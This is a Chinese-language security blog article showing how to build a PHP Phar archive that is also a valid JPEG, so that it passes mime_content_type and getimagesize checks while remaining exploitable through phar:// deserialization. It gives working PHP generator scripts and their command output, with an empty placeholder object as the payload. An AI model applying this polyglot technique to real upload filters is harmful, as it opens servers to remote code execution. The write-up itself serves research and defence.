攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)
作者:mss**** 发布时间:2023-09-05 19:29:06
在US BlackHat 2018大会上,安全人员证明,攻击者不仅可以利用PHAR包发动RCE攻击,而且,通过调整其二进制内容,他们还可以将其伪装成一幅图像,从而绕过安全检查。
在本文中,我们来看看第二点是如何做到的。
背景知识
在US BlackHat 2018大会期间,Sam Thomas召开了一个关于在PHP中利用 phar:// 流包装器来实现针对服务器的代码执行攻击的研讨会( 幻灯片 )。
在运行PHAR包时,由于PHP会对其内容进行反序列化,从而允许攻击者启动一个PHP对象包含链。其中,最有趣的部分在于如何触发有效载荷:归档上的任何文件操作都将执行它。最后,攻击者根本无需关心文件名是否正确,因为即使是失败的文件调用,PHP也会对其内容进行反序列化处理。
此外,攻击者完全可以将PHAR包伪装成一幅图像:在这篇文章中,我们将为读者解释他们是如何做到这一点的。
降至字节码级别
有时我们会忘记这一点,那就是在机器眼里,文件只不过是一堆遵循预定义结构的字节而已。对于应用程序而言,将检查自己是否可以管理这样的数据流,如果可以的话,就会生成相应的输出。
在Thomas的演讲中,曾提示如何创建具有有效JPEG头部的PHAR包。
图片引自Sam Thomas的幻灯片
不过,这里我们要做的是创建一个具有JPEG头部的文件,并更新PHAR的校验和。这样一来,PHAR包一方面会被视为一个图像,同时,PHP还可以继续执行它。
开始下手
听起来,这里只需修改几个字节并更新校验,按说应该非常轻松,对吧?
然而,事实并非如此。
计算校验和(至少对我来说)是一件让人头痛的事情。所以,我想:如果让PHP来代劳的话,会怎样呢?
所以,我对Thomas的原始剧本进行了一番改造,具体如下所示:
<?php
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
如您所见,这里将原始HEX字节添加到了PHAR存档的存根部分。下面是原始HEX得到的结果:
tampe125@AlphaCentauri:~$ xxd phar.jpeg
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB
这同时是一个合法的PHAR包,以及一幅合法的JPEG图像吗?
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
看到了吧,PHP将其视为一幅图像,我们仍然可以探索存档的内容。哈哈,好玩吧!
注意:请仔细查看存根部分,看看它是如何“跳过”开头部分的PHP标记的。因为这里是绕过大多数内容扫描程序的关键所在。对于存档来说,是否有效的关键在于函数 __HALT_COMPILER() ; 我认为,PHP会通过它来确定出应该“跳过”多少数据。
更进一步
到目前为止,我们制作的文件已经可以通过任何基于文件头的类型检测了,但是,对于更高级的检测方法来说,它就无能为力了。例如,使用 getimagesize 来检查文件内容是否为图像的话,将返回false,因为它并不是一幅“真正”的图像:
tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)
看到了吧。
但是,别忘了,我们可以在 __HALT_COMPILER() 标记之前填充任意的数据的,所以,如果我们在此填入一幅完整的图像的话,会怎样呢?于是,我花了大量的时间去研读 JPEG规范 和 PHP源代码 ,不过最后仍然没有理出头绪,所以,我果断决定放弃——太复杂了。
那么,能否直接使用GIMP创建10x10黑 * 像并嵌入其中呢?
<?php
class TestObject {}
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
好了,看看效果如何:
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
[0] =>
int(10)
[1] =>
int(10)
[2] =>
int(2)
[3] =>
string(22) "width="10" height="10""
'bits' =>
int(8)
'channels' =>
int(3)
'mime' =>
string(10) "image/jpeg"
}
这次,我们如愿以偿了。这个文件不仅是一个包含我们想要利用的类的PHAR包,同时,它还是一幅合法的图像(我们甚至可以用系统图像查看器打开它):
小结
正如我们刚才看到的,文件实际上只是一堆字节而已:如果我们只是利用其元数据进行类型检测的话,那么很可能会出错:攻击者可以轻松绕过检测,并返回他们想要的文件类型。要想检测文件类型,更加可靠的解决方案是直接读取文件内容并搜索恶意字符串。
来源:https://xz.aliyun.com/t/2867
猜你喜欢
- 前言责任链模式(Chain of Responsibility Pattern)是什么?责任链模式是一种行为型模式,它允许多个对象将请求沿着
- 【原文地址】 Tip/Trick: Supporting Full Screen Mode with Silverlight 【原文发表日期
- 1、fastcgi ,通过flup模块来支持,在nginx里对应的配置指令是 fastcgi_pass2、http,nginx使用proxy
- asp中利用XMLhttp对象获取远程的数据,然后用二进制输出到客户浏览器,让客户下载数据,此例从某一远程服务器获取一个压缩包,并且输出到浏
- 在所有信息技术领域,网页设计、网站设计长期是个几乎搞不清楚的、弱势的、被边缘化的职能职位。但近些年发展中,不断有远见卓识的从业者认识到,“设
- 1:下载FCKEditor编辑器下载下来后解压到你网站的目录,最好就放在根目录下,文件夹名字就用FCKEditor;这里可以随便自己喜好,但
- ASP结合ADO对数据库方便快捷的访问、结合XML、COM/ActiveX等其它技术 实现服务器多层结构的功能使它在今天还有着顽强的生命力。
- 【问】使用FCKeditor添加文章时,在文章最后多了逗号。【答】此情况发生在asp环境中。在asp里对于 提交的表单信息中如果有相同nam
- 本文为大家解析了python实现4名牌手洗牌发牌的问题,供大家参考,具体内容如下编写程序, 4名牌手打牌,计算机随机将52张牌(不含大小鬼)
- iUI、jQTouch、WPTouch、PhoneGap、XUI、iWebkit、Rhodes、gwt-mobile…当我们已经开始惊叹 w
- 需求:获取oracle表增量信息,发送至udp514端口,支持ip配置步骤:(1)需要的jar oracle的 odbc5.ja
- 1. document.form.item 问题 (1)现有问题:现有代码中存在许多 document.formName.item(&quo
- 日前,Mozilla 的 Arun Ranganathan 向 W3C 提交了一个草案,旨在推出一个 JavaScript API,让 Ja
- 我们公司网站的项目都是采用utf-8编码格式的,一天,发现部分电脑打开网站的一个页面是空白页,要在IE下重新选择编码才显示正常。我们网站的编
- 在网页中经常见到两类不同的按钮。一类表示当前所示的状态,一类表示将要进行的动作。(如下图) 那么,同样是icon类的按钮,为什么有
- python ThreadPoolExecutor线程池的工作线程中出现异常时,主线程不会捕获异常。解决方法1:直接在需要执行的任务方法中添
- 本文研究的主要问题时Python读取word文本操作,分享了相关概念和实现代码,具体如下。一,docx模块Python可以利用python-
- 下面是用SA-FileUp组件上传一个HTML文件的程序:fileup.htm < HTM
- 在我前一阵子刚刚写了“HTML5与Flash,不得不说的话题”的评论后,如各位所料,由于牵扯到多方利益和未来标准制定的角色份量,这不,有可能
- 这些小东西是我在网上看到的就把它记下来了,可能以后会有用的: &nbs